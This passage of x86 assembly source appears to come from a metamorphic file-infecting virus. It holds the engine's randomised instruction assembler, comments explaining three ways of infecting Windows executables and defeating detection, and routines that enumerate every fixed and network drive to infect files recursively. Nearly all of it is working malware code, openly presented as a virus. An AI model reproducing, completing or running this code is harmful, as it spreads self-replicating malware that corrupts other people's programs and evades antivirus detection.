|
|
@@Assemble_PUSHImm_Dword:
|
|
mov [edi+1], eax ; Store the Imm
|
|
add edi, 5 ; Increase the storage EIP
|
|
ret
|
|
@@Assemble_PUSHImm_Byte:
|
|
push eax ; Select randomly if we use a sign
|
|
call RandomBoolean ; extended byte Imm or a dword Imm
|
|
mov ebx, eax
|
|
pop eax
|
|
or ebx, ebx
|
|
jz @@Assemble_PUSHImm_Dword
|
|
mov ebx, 6Ah ; Insert the opcode
|
|
mov [edi], ebx
|
|
mov [edi+1], eax ; Put the value
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next06:
|
|
cmp eax, 0E0h ; NOT?
|
|
jnz @@Assemble_Next07
|
|
mov ebx, 0D0h ; EBX = NOT operation under F7 opcode
|
|
@@Assemble_NEG32Reg:
|
|
mov eax, 0F7h ; F7 = opcode of NOT/NEG and etc.
|
|
@@Assemble_Nxx8Reg:
|
|
mov [edi], eax ; Set the first opcode
|
|
mov eax, [esi+1]
|
|
add eax, ebx ; Bind the register to the 2nd opcd.
|
|
mov [edi+1], eax ; Store it
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next07:
|
|
cmp eax, 0E4h ; NEG Reg?
|
|
jnz @@Assemble_Next08
|
|
mov ebx, 0D8h ; Set NEG Reg operation on 2nd opc.
|
|
jmp @@Assemble_NEG32Reg
|
|
|
|
@@Assemble_Next08:
|
|
cmp eax, 0E2h ; NOT Reg8?
|
|
jnz @@Assemble_Next09
|
|
mov ebx, 0D0h ; Set NOT Reg operation on 2nd opcode
|
|
@@Assemble_NEG8Reg:
|
|
mov eax, 0F6h ; Same as F7 but with 8 bits operands
|
|
jmp @@Assemble_Nxx8Reg
|
|
|
|
@@Assemble_Next09:
|
|
cmp eax, 0E6h ; NEG Reg8?
|
|
jnz @@Assemble_Next10
|
|
mov ebx, 0D8h ; Set NEG Reg op. on 2nd opcode
|
|
jmp @@Assemble_NEG8Reg
|
|
|
|
|
|
@@Assemble_Next10:
|
|
cmp eax, 0E1h ; NOT Mem?
|
|
jnz @@Assemble_Next11
|
|
mov ebx, 10h ; Then set NOT Mem op. on 2nd opcode
|
|
@@Assemble_NEG32Mem:
|
|
mov eax, 0F7h ; Set NOT/NEG/etc. opcode (32 bits)
|
|
@@Assemble_Nxx8Mem:
|
|
mov [edi], eax ; Set the first opcode
|
|
add edi, 1
|
|
call Asm_MakeMemoryAddress ; Construct the memory reference
|
|
ret ; (mixing it with the value in EBX)
|
|
|
|
@@Assemble_Next11:
|
|
cmp eax, 0E5h ; NEG Mem?
|
|
jnz @@Assemble_Next12
|
|
mov ebx, 18h ; Then set NEG Mem on 2nd opcode and
|
|
jmp @@Assemble_NEG32Mem ; jump to construct the operation
|
|
|
|
@@Assemble_Next12:
|
|
cmp eax, 0E3h ; NOT Mem8?
|
|
jnz @@Assemble_Next13
|
|
mov ebx, 10h ; Set NOT Mem8 op.
|
|
@@Assemble_NEG8Mem:
|
|
mov eax, 0F6h ; Use 8 bits opcode for NOT/NEG
|
|
jmp @@Assemble_Nxx8Mem
|
|
|
|
@@Assemble_Next13:
|
|
cmp eax, 0E7h ; NEG Mem8?
|
|
jnz @@Assemble_Next14
|
|
mov ebx, 18h ; Then set NEG Mem8 op. on 2nd opc.
|
|
jmp @@Assemble_NEG8Mem ; and jump to construct the instrc.
|
|
|
|
@@Assemble_Next14:
|
|
cmp eax, 0EAh ; CALL Mem?
|
|
jnz @@Assemble_Next15
|
|
mov eax, 0FFh ; Set the opcode: FF,(10+mem. ref)
|
|
mov ebx, 10h
|
|
jmp @@Assemble_Nxx8Mem ; Code mem address
|
|
|
|
@@Assemble_Next15:
|
|
cmp eax, 0EBh ; JMP Mem?
|
|
jnz @@Assemble_Next16
|
|
mov eax, 0FFh ; Then set the opcode:
|
|
mov ebx, 20h ; FF,(20+mem ref.)
|
|
jmp @@Assemble_Nxx8Mem
|
|
|
|
@@Assemble_Next16:
|
|
cmp eax, 0ECh ; CALL Reg?
|
|
jnz @@Assemble_Next17
|
|
mov eax, 0FFh ; Then use the same opcode than
|
|
mov ebx, 0D0h ; CALL Mem but ORing the 2nd opcode
|
|
jmp @@Assemble_Nxx8Reg ; with C0 (bits 7&6 active), so we
|
|
; tell the processor to use bits 2,1,0
|
|
; as a direct register rather than as
|
|
; a memory address codification
|
|
@@Assemble_Next17:
|
|
cmp eax, 0EDh ; JMP Reg?
|
|
jnz @@Assemble_Next18
|
|
mov eax, 0FFh ; Then, the same as above but with
|
|
mov ebx, 0E0h ; 2nd opcode = 20h OR C0h
|
|
jmp @@Assemble_Nxx8Reg
|
|
|
|
|
|
@@Assemble_Next18:
|
|
cmp eax, 0F0h ; SHIFT Reg operation?
|
|
jnz @@Assemble_Next19
|
|
mov eax, [esi+7] ; Get the value
|
|
and eax, 0FFh
|
|
cmp eax, 1 ; If it's 1, we can use SHIFT,1 ops.
|
|
jz @@Assemble_SHIFT_1
|
|
@@Assemble_SHIFT_2:
|
|
mov ecx, 0C1h ; Use opcode C1 and a mask of E0 to
|
|
mov edx, 0E0h ; get random upper bits in the shift
|
|
@@Assemble_SHIFT8_1_00: ; value
|
|
call @@Assemble_SHIFT_x ; Set the opcode and the operation
|
|
mov ebx, [esi+7] ; Get the value
|
|
and ebx, 0FFh
|
|
call Random ; Get a random number
|
|
and eax, edx ; Mask it with EDX (00 or E0)
|
|
add eax, ebx ; Add the value to shift
|
|
mov [edi], eax ; Set the Imm in the instruction
|
|
add edi, 1
|
|
ret ; Return
|
|
@@Assemble_SHIFT_1:
|
|
call RandomBoolean ; Select randomly if we use the ,1
|
|
or eax, eax ; opcode or the ,x one
|
|
jz @@Assemble_SHIFT_2
|
|
mov ecx, 0D1h ; Opcode D1: SHIFT Mem/Reg,1
|
|
@@Assemble_SHIFT_x:
|
|
mov [edi], ecx ; Set the opcode in ECX
|
|
add edi, 1
|
|
mov ebx, [esi+8] ; Get the operation
|
|
and ebx, 8 ; Reduce it to SHIFT LEFT/RIGHT
|
|
add ebx, 0C0h ; Select randomly SHL/ROL or SHR/ROR.
|
|
call Random ; We have prepared the shifting instr.
|
|
and eax, 20h ; in the engine to support either SHx
|
|
add ebx, eax ; or ROx indifferently
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 7
|
|
add eax, ebx ; Set it into the opcode
|
|
mov [edi], eax ; Insert the opcode
|
|
add edi, 1
|
|
ret
|
|
|
|
@@Assemble_Next19:
|
|
cmp eax, 0F2h ; SHIFT Reg8?
|
|
jnz @@Assemble_Next20
|
|
mov eax, [esi+7] ; Get the value
|
|
and eax, 0FFh ; Check if it's 1 to see if we can
|
|
cmp eax, 1 ; use the ,1 opcode
|
|
jz @@Assemble_SHIFT8_1
|
|
@@Assemble_SHIFT8_2:
|
|
mov ecx, 0C0h ; Set 1st opcode as C0
|
|
xor edx, edx ; Mask with 00 the upper bits of the
|
|
jmp @@Assemble_SHIFT8_1_00 ; shifting value
|
|
@@Assemble_SHIFT8_1:
|
|
call RandomBoolean ; Select randomly the using of ,1/,x
|
|
or eax, eax
|
|
jz @@Assemble_SHIFT8_2
|
|
mov ecx, 0D0h ; Set 1st opcode as D0
|
|
jmp @@Assemble_SHIFT_x ; Jump to complete the opcode
|
|
|
|
|
|
@@Assemble_Next20:
|
|
cmp eax, 0F1h ; SHIFT Mem?
|
|
jnz @@Assemble_Next21
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh ; Check the value to look if we can
|
|
cmp eax, 1 ; use ,1 or ,x
|
|
jz @@Assemble_SHIFTMem_1
|
|
@@Assemble_SHIFTMem_2:
|
|
mov ecx, 0C1h ; Opcode C1, mask E0
|
|
mov edx, 0E0h
|
|
@@Assemble_SHIFT8Mem_1_00:
|
|
push edx ; Make the opcode
|
|
call @@Assemble_SHIFTMem_x
|
|
pop edx ; Set the value with random upper
|
|
mov ebx, [esi+7] ; bits for 32 bits shiftings (mask of
|
|
and ebx, 0FFh ; E0) or upper bits to 0 if 8 bits
|
|
call Random ; mask of 00)
|
|
and eax, edx
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_SHIFTMem_1:
|
|
call Random ; Do we use the ,x opcode?
|
|
or eax, eax
|
|
jz @@Assemble_SHIFTMem_2 ; Jump if we decided to use it!
|
|
mov ecx, 0D1h ; Set D1 opcode
|
|
@@Assemble_SHIFTMem_x:
|
|
mov [edi], ecx ; Set the opcode
|
|
add edi, 1
|
|
mov ebx, [esi+8] ; Get the direction of the shift
|
|
and ebx, 8
|
|
call Random
|
|
and eax, 20h ; Select SHx or ROx
|
|
add ebx, eax ; Set it in EBX to mix it with the
|
|
call Asm_MakeMemoryAddress ; 2nd opcode and code the
|
|
ret ; memory address in the 2nd opc.
|
|
|
|
@@Assemble_Next21:
|
|
cmp eax, 0F3h ; SHIFT Mem8?
|
|
jnz @@Assemble_Next22
|
|
mov eax, [esi+7] ; Just the same as above but with
|
|
and eax, 0FFh ; opcodes C0 and D0 instead of C1 and
|
|
cmp eax, 1 ; D1. And, of course, a mask of 00,
|
|
jz @@Assemble_SHIFT8Mem_1 ; because the 8 bits shiftings
|
|
@@Assemble_SHIFT8Mem_2: ; don't ignore the upper bits
|
|
mov ecx, 0C0h ; as the 32 bits instructions do
|
|
xor edx, edx ; (don't ask me why)
|
|
jmp @@Assemble_SHIFT8Mem_1_00
|
|
@@Assemble_SHIFT8Mem_1:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Assemble_SHIFT8Mem_2
|
|
mov ecx, 0D0h
|
|
jmp @@Assemble_SHIFTMem_x
|
|
|
|
@@Assemble_Next22:
|
|
cmp eax, 0FCh ; LEA Reg,[Mem]?
|
|
jnz @@Assemble_Next23
|
|
mov eax, 8Dh ; Then, insert a LEA opcode (8D), set
|
|
mov [edi], eax ; in bits 5,4,3 the destiny register
|
|
add edi, 1 ; and code the memory address.
|
|
mov ebx, [esi+7]
|
|
and ebx, 7
|
|
shl ebx, 3
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next23:
|
|
cmp eax, 0FDh ; Direct byte insertion?
|
|
jnz @@Assemble_Next24
|
|
mov eax, [esi+1] ; Then, insert it
|
|
jmp @@Assemble_StoreByte
|
|
|
|
@@Assemble_Next24:
|
|
cmp eax, 0FEh ; RET?
|
|
jnz @@Assemble_Next25
|
|
mov eax, 0C3h ; Then, insert the RET opcode
|
|
jmp @@Assemble_StoreByte
|
|
|
|
@@Assemble_Next25:
|
|
cmp eax, 0FFh ; NOP?
|
|
jnz @@Assemble_Next26
|
|
mov eax, 90h ; Then, insert the NOP opcode
|
|
jmp @@Assemble_StoreByte
|
|
|
|
@@Assemble_Next26:
|
|
cmp eax, 70h ; Jcc?
|
|
jb @@Assemble_Next27
|
|
cmp eax, 7Fh
|
|
ja @@Assemble_Next27
|
|
mov eax, [esi+7] ; Get the type of jump: normal or
|
|
or eax, eax ; inversed (JNZ/JMP rather than JZ)
|
|
jz @@Assemble_Jump_Normal
|
|
mov eax, [esi] ; Inverse the condition
|
|
xor eax, 1
|
|
mov [edi], eax ; Store the opcode
|
|
add edi, 1 ; Increase the EIP
|
|
push edi ; Save the EIP
|
|
add edi, 1
|
|
mov eax, 0E9h ; Make a JMP to the label
|
|
mov [esi], al
|
|
call @@Assemble_Jump_Normal
|
|
pop ebx ; Get the old EIP in EBX
|
|
mov eax, edi ; Get the current EIP
|
|
sub eax, ebx ; Calculate the displacement in EAX
|
|
sub eax, 1 ; Add 1 to overpass the Jcc itself
|
|
mov [ebx], al ; Store the displacement
|
|
ret
|
|
|
|
|
|
@@Assemble_Next27:
|
|
cmp eax, 0F8h ; MOVZX Reg,[Mem8]?
|
|
jnz @@Assemble_Next28
|
|
mov eax, 0B60Fh ; Set the MOVZX opcode
|
|
mov [edi], eax
|
|
add edi, 2
|
|
mov ebx, [esi+7] ; Get the register and bind it to the
|
|
and ebx, 7 ; memory address codification in the
|
|
shl ebx, 3 ; 2nd opcode
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next28:
|
|
; cmp eax, 0E8h ; Here only can be opcodes E8 or E9
|
|
; jmp @@Assemble_Jump_Normal
|
|
|
|
|
|
@@Assemble_Jump_Normal:
|
|
mov ebx, [esi+1] ; Get the label
|
|
mov eax, [ebx+4] ; Get the pointed address
|
|
cmp eax, esi ; Have we coded it already?
|
|
jb @@Assemble_Jump_Backwards
|
|
@@Assemble_Jump_Fowards:
|
|
mov ebx, eax ; Get the distance
|
|
sub ebx, esi
|
|
cmp ebx, 0B0h ; 11 (max size of instruction) * 0Bh = 121.
|
|
; It must be < 128 to code a short Jcc
|
|
jbe @@Assemble_JmpFwd_Short
|
|
@@Assemble_JmpFwd_Long_Set00:
|
|
mov eax, [esi] ; Set the opcode
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh ; Jcc?
|
|
jbe @@Assemble_JmpFwd_Long_Jcc
|
|
@@Assemble_JmpFwd_Long_Set:
|
|
mov [edi], eax ; Set the opcode
|
|
call Asm_AddToRelocTable ; Add it to the post-assembly
|
|
add edi, 5 ; relocation work
|
|
ret
|
|
@@Assemble_JmpFwd_Long_Jcc:
|
|
mov eax, 0Fh ; Set the opcode 0F
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov eax, [esi] ; Get the Jcc opcode, add 10h to it
|
|
add eax, 10h ; (by x86 specifications :) and set
|
|
jmp @@Assemble_JmpFwd_Long_Set ; it in the same way the
|
|
; short one.
|
|
@@Assemble_JmpFwd_Short:
|
|
call Random ; Get a random decision over the
|
|
and eax, 7 ; codification of this jump: short
|
|
or eax, eax ; or long? (long with a 1/8 of prob.)
|
|
jz @@Assemble_JmpFwd_Long_Set00
|
|
mov eax, [esi] ; Get the opcode
|
|
and eax, 0FFh
|
|
cmp eax, 0E8h ; CALL?
|
|
jz @@Assemble_JmpFwd_Long_Set ; Then, set long for sure
|
|
cmp eax, 0E9h ; JMP?
|
|
jz @@Assemble_JmpFwd_Short_JMP ; Then, set short
|
|
@@Assemble_JmpFwd_Short_Set:
|
|
mov [edi], eax ; Set the opcode
|
|
call Asm_AddToRelocTable ; Add it to post-assembly
|
|
add edi, 2 ; relocations
|
|
ret
|
|
@@Assemble_JmpFwd_Short_JMP:
|
|
add eax, 2 ; Convert the E9 opcode to EB
|
|
jmp @@Assemble_JmpFwd_Short_Set
|
|
|
|
@@Assemble_Jump_Backwards:
|
|
mov ebx, [eax+0Ch] ; Get the address of the label
|
|
sub ebx, edi
|
|
sub ebx, 2 ; Get the displacement in EBX
|
|
cmp ebx, 0FFFFFF80h ; If backwards displacement <= 128,
|
|
jb @@Assemble_Jump_Backwards_Long ; we can use short jumps.
|
|
; If not, jump
|
|
mov eax, [esi] ; Get the opcode
|
|
cmp al, 0E8h ; If it's CALL, it's long (and just
|
|
jz @@Assemble_Jump_Backwards_Long ; imagine a fist hitting
|
|
; a table categorically XD)
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax ; Get a random decision to code it
|
|
jz @@Assemble_Jump_Backwards_Long ; short or long
|
|
mov eax, [esi]
|
|
cmp al, 0E9h ; JMP opcode?
|
|
jnz @@Assemble_Jump_StoreOpcode_Short ; If not, jump
|
|
add eax, 2 ; Make it 0EBh
|
|
@@Assemble_Jump_StoreOpcode_Short:
|
|
mov [edi], eax ; Store the opcode
|
|
add edi, 1
|
|
mov [edi], ebx ; Store the displacement
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_Jump_Backwards_Long:
|
|
mov eax, [esi] ; Get the opcode
|
|
cmp al, 0E9h ; JMP?
|
|
jz @@Assemble_Jump_Backwards_JMP ; Then, jump there
|
|
cmp al, 0E8h ; CALL?
|
|
jz @@Assemble_Jump_Backwards_JMP ; Then, jump there
|
|
sub ebx, 4 ; Subtract the length that we haven't
|
|
mov eax, 0Fh ; subtracted yet
|
|
mov [edi], eax ; Set the first opcode of the long Jcc
|
|
add edi, 1
|
|
mov eax, [esi] ; Set the 2nd opcode
|
|
add eax, 10h
|
|
@@Assemble_Jump_Backwards_Long_Common:
|
|
mov [edi], eax ; Set the opcode
|
|
add edi, 1
|
|
mov [edi], ebx ; Set the displacement
|
|
add edi, 4
|
|
ret
|
|
@@Assemble_Jump_Backwards_JMP:
|
|
sub ebx, 3 ; Set the opcode (JMP or CALL)
|
|
jmp @@Assemble_Jump_Backwards_Long_Common
|
|
ret
|
|
AssembleInstruction endp
|
|
|
|
|
|
;; This function adds the current storage EIP to the post-assembly relocation
|
|
;; table. After all the code is assembled, we'll fix the displacements stored
|
|
;; in this table.
|
|
Asm_AddToRelocTable proc
|
|
mov ebx, [ebp+JumpRelocationTable] ; Get the last element
|
|
mov ecx, [ebp+NumberOfJumpRelocations] ; of the table
|
|
add ebx, ecx
|
|
mov [ebx], edi ; Store the address for fixing
|
|
mov eax, [esi+1] ; Store the label of destiny
|
|
mov [ebx+4], eax
|
|
add ecx, 8 ; Increase the last element pointer
|
|
mov [ebp+NumberOfJumpRelocations], ecx
|
|
ret
|
|
Asm_AddToRelocTable endp
|
|
|
|
;; This function will construct the opcode reference to a memory address using
|
|
;; the common memory address structure of our pseudoassembler. It will recode
|
|
;; the address using randomly one of the possible codifications for every
|
|
;; situation, as I expose here:
|
|
;;
|
|
;; Memory codification variants:
|
|
;;
|
|
;; Direct address
|
|
;; 05 xx xx xx xx
|
|
;; 04 25 xx xx xx xx
|
|
;;
|
|
;; 1 index + 0
|
|
;; 0x (not valid if x = 5)
|
|
;; 4x 00
|
|
;; 8x 00 00 00 00
|
|
;; 04 00xxx101 00 00 00 00
|
|
;; 44 00100xxx 00
|
|
;; 84 00100xxx 00 00 00 00
|
|
;; 1 index + byte (< 80h or > FFFFFF7Fh)
|
|
;; 4x yy
|
|
;; 8x yy ss ss ss
|
|
;; 04 00xxx101 yy ss ss ss
|
|
;; 44 00100xxx yy
|
|
;; 84 00100xxx yy ss ss ss
|
|
;; 1 index + dword
|
|
;; 8x yy yy yy yy
|
|
;; 04 00xxx101 yy yy yy yy
|
|
;; 84 00100xxx yy yy yy yy
|
|
;; 1 index * N + 0
|
|
;; 04 nnxxx101 00 00 00 00
|
|
;; 1 index * N + byte
|
|
;; 04 nnxxx101 yy ss ss ss
|
|
;; 1 index * N + dword
|
|
;; 04 nnxxx101 yy yy yy yy
|
|
;;
|
|
;; 2 index + 0 (xx(*nn),yy,zzzzzzzz)
|
|
;; 04 nnxxxyyy (yyy != 5)
|
|
;; 44 nnxxxyyy 00
|
|
;; 84 nnxxxyyy 00 00 00 00
|
|
;; 2 index + byte (<80h or > FFFFFF7Fh) (xx(*nn),yy,zzzzzzzz)
|
|
;; 44 nnxxxyyy zz
|
|
;; 84 nnxxxyyy zz ss ss ss
|
|
;; 2 index + dword (xx(*nn),yy,zzzzzzzz)
|
|
;; 84 nnxxxyyy zz zz zz zz
|
|
;;
|
|
;; The codification of the memory address will be done at [EDI], while EBX
|
|
;; can hold a value to OR to the 1st codified opcode (for example, registers
|
|
;; or operations that must be in this opcode). The function returns with all
|
|
;; prepared to follow the codification, this means, all the pointers
|
|
;; are increased and the memory address is completely finished, not having
|
|
;; to make anything more related with the memory address.
|
|
;;
|
|
Asm_MakeMemoryAddress proc
|
|
mov ecx, [esi+1]
|
|
and ecx, 0FFh
|
|
mov eax, [esi+2]
|
|
and eax, 0FFh
|
|
cmp eax, ecx
|
|
jae @@Next00
|
|
mov edx, eax
|
|
jmp @@Next01
|
|
@@Next00: mov edx, ecx
|
|
mov ecx, eax
|
|
|
|
; Now, ECX > EDX. ECX will hold also the multiplicator if we use one for
|
|
; this instruction. If not, it could be exchanged with EDX further on the
|
|
; algorithm.
|
|
|
|
@@Next01: cmp edx, 8 ; I decided to not commenting this :).
|
|
jz @@NoIndex1 ; The code is clear and understandable,
|
|
cmp ecx, 8 ; and I'm tired of commenting code!
|
|
jz @@Only1Index
|
|
cmp ecx, 7
|
|
ja @@NoExchange
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@NoExchange
|
|
mov eax, ecx
|
|
mov ecx, edx
|
|
mov edx, eax
|
|
@@NoExchange:
|
|
mov eax, [esi+3]
|
|
or eax, eax
|
|
jz @@2Index_0
|
|
cmp eax, 7Fh
|
|
jbe @@2Index_Byte
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@2Index_Byte
|
|
@@2Index_Dword:
|
|
mov eax, 84h
|
|
@@2Index_Dword_Subr:
|
|
push eax
|
|
mov eax, ecx
|
|
and eax, 0C0h
|
|
shl ecx, 3
|
|
and ecx, 38h
|
|
add eax, ecx
|
|
add edx, eax
|
|
pop eax
|
|
jmp @@SetMemory01
|
|
@@2Index_Byte:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@2Index_Dword
|
|
mov eax, 44h
|
|
call @@2Index_Dword_Subr
|
|
sub edi, 3
|
|
ret
|
|
@@2Index_0:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@2Index_Byte
|
|
cmp edx, 5
|
|
jz @@2Index_Byte
|
|
mov eax, 04h
|
|
call @@2Index_Dword_Subr
|
|
sub edi, 4
|
|
ret
|
|
|
|
@@Only1Index:
|
|
; EDX = Index, no scalar (if not, it would be ECX)
|
|
mov eax, [esi+3]
|
|
or eax, eax
|
|
jz @@Only1Index_0
|
|
cmp eax, 7Fh
|
|
jbe @@Only1Index_Byte
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@Only1Index_Byte
|
|
@@Only1Index_Dword:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Only1Index_Dword
|
|
cmp eax, 1
|
|
jz @@Only1Index_Dword_01
|
|
cmp eax, 2
|
|
jz @@Only1Index_Dword_02
|
|
@@Only1Index_Dword_03:
|
|
mov eax, 84h
|
|
add edx, 20h
|
|
jmp @@SetMemory01
|
|
@@Only1Index_Dword_02:
|
|
mov eax, 04h
|
|
shl edx, 3
|
|
add edx, 5
|
|
jmp @@SetMemory01
|
|
@@Only1Index_Dword_01:
|
|
add edx, 80h
|
|
add edx, ebx
|
|
mov [edi], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+1], eax
|
|
add edi, 5
|
|
ret
|
|
@@Only1Index_Byte:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Only1Index_Dword
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Only1Index_Byte_01
|
|
@@Only1Index_Byte_02:
|
|
mov eax, 44h
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
add edx, 20h
|
|
mov [edi+1], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+2], eax
|
|
add edi, 3
|
|
ret
|
|
@@Only1Index_Byte_01:
|
|
add edx, 40h
|
|
add edx, ebx
|
|
mov [edi], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
@@Only1Index_0:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Only1Index_Byte
|
|
cmp edx, 5
|
|
jz @@Only1Index_Byte
|
|
add edx, ebx
|
|
mov [edi], edx
|
|
add edi, 1
|
|
ret
|
|
|
|
@@NoIndex1: cmp ecx, 8 ; If EDX = 8, then ECX >= 8
|
|
jz @@DirectAddress
|
|
mov edx, ecx
|
|
and edx, 0C0h
|
|
and ecx, 7
|
|
shl ecx, 3
|
|
add edx, ecx
|
|
add edx, 5
|
|
mov eax, 4
|
|
@@SetMemory01:
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
mov [edi+1], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+2], eax
|
|
add edi, 6
|
|
ret
|
|
@@DirectAddress:
|
|
mov eax, 05h
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
mov eax, [esi+3]
|
|
mov [edi+1], eax
|
|
add edi, 5
|
|
ret
|
|
Asm_MakeMemoryAddress endp
|
|
;;
|
|
;;
|
|
;; End of the assembler
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!Infector
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; ********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The infector
|
|
;; ------------
|
|
;;
|
|
;; The infector is the part that brings this virus the category of "virus" :).
|
|
;; The infection made here is quite complex: there are three types of
|
|
;; supported modes, depending on the configuration of the executable:
|
|
;;
|
|
;; 1) Midinfection with section shifting
|
|
;;
|
|
;; The most difficult to make but also the most difficult to detect. It
|
|
;; can only be performed if there is a .reloc section in the executable.
|
|
;; We extend the end of the .text section and we shift down the sections
|
|
;; under this one. In this way, the decryptor/copier executes in the
|
|
;; .text section without overwriting code. The data being encrypted/moved
|
|
;; is stored at the beginning of the .data section: again, we shift the
|
|
;; sections down but this time extending the size of .data and all the
|
|
;; bytes stored here are shifted down.
|
|
;; To make this, all the offset references to points of the executable that
|
|
;; are going to be shifted down must be updated: we do that with the help
|
|
;; of the .reloc section.
|
|
;;
|
|
;; 2) Midinsertion of the decryptor, data at last section
|
|
;;
|
|
;; If we cannot make the first infection method we pass to this one. We
|
|
;; look for holes in the section padding (virtual or physical holes),
|
|
;; calculate the maximum size the decryptor can have there and we insert
|
|
;; it. The virus data will be stored at the end of the last section, but
|
|
;; without modifying the flags of the section (at least must be readable).
|
|
;; In fact, if the section is writable we don't infect that executable.
|
|
;;
|
|
;; 3) All data at last section
|
|
;;
|
|
;; If there aren't holes between sections or the padding isn't enough big
|
|
;; to hold a minimum fixed size, then we make a standard infection: we make
|
|
;; the last section bigger and put all the code there (the 29A technique).
|
|
;;
|
|
;; The infection mark will be the field of the CRC of the executable. If the
|
|
;; CRC is 0, the file is already infected. If not, the file is clean and we
|
|
;; set that field to 0 if we successfully infected the file. Since there are
|
|
;; lots of files with this field being 0, the detection can't rely on the
|
|
;; infection mark.
|
|
;;
|
|
;;
|
|
InfectFiles proc
|
|
xor eax, eax ; Set the directory deepness to 0
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
call InfectFiles2 ; First, the current directory
|
|
|
|
mov ebx, [ebp+FindFileData]
|
|
add ebx, 1000h
|
|
@@LoopGetDrives:
|
|
xor eax, eax ; Now set again this to 0
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
push eax ; Get the logical drives in this computer.
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+FindFileData]
|
|
add eax, 1000h
|
|
push eax
|
|
mov eax, 200h
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetLogicalDriveStringsA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax ; If error, exit
|
|
jz @@Error2
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, ebx ; Get the type of drive. We only infect
|
|
push eax ; it if it's DRIVE_FIXED (3) or
|
|
call dword ptr [ebp+RVA_GetDriveTypeA] ; DRIVE_NETWORK (4)
|
|
mov [ebp+ReturnValue], eax
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, 3 ; DRIVE_FIXED
|
|
jz @@InfectDrive
|
|
cmp eax, 4 ; DRIVE_NETWORK
|
|
jnz @@NextDrive
|
|
|
|
|
|
@@InfectDrive:
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, ebx
|
|
push eax ; Avoid a sequence of 4 pushes (just in case)
|
|
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx ; Set the current directory as the
|
|
pop eax ; drive string returned by the function
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2 ; If error, return
|
|
|
|
push ebx
|
|
call InfectFiles2 ; Infect the drive.
|
|
pop ebx
|
|
|
|
@@NextDrive:
|
|
|
|
@@LoopFindNull:
|
|
add ebx, 1 ; Get the next drive. If we reach to
|
|
mov eax, [ebx] ; a double NULL, then exit (end of
|
|
and eax, 0FFh ; drives string).
|
|
or eax, eax
|
|
jnz @@LoopFindNull
|
|
add ebx, 1
|
|
mov eax, [ebx]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@LoopGetDrives ; Next drive
|
|
@@Error2:
|
|
ret
|
|
InfectFiles endp
|
|
|
|
;; This function is a separated one from above to allow recursivity. When we
|
|
;; infect a directory, we can get more directories in the file listing, so
|
|
;; we set that directory as the current and we call this function again (but
|
|
;; first increasing the directory deepness to avoid infecting all the drive
|
|
;; every execution).
|
|
InfectFiles2 proc
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, [ebp+FindFileData]
|
|
push eax
|
|
mov edx, [ebp+OtherBuffers]
|
|
push edx
|
|
|
|
mov eax, '*.*' ; Get all files
|
|
mov [edx], eax
|
|
|
|
call dword ptr [ebp+RVA_FindFirstFileA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, -1
|
|
jz @@Error
|
|
mov [ebp+hFindFile], eax
|
|
@@TouchAgain:
|
|
mov edx, [ebp+FindFileData] ; Get the attributes
|
|
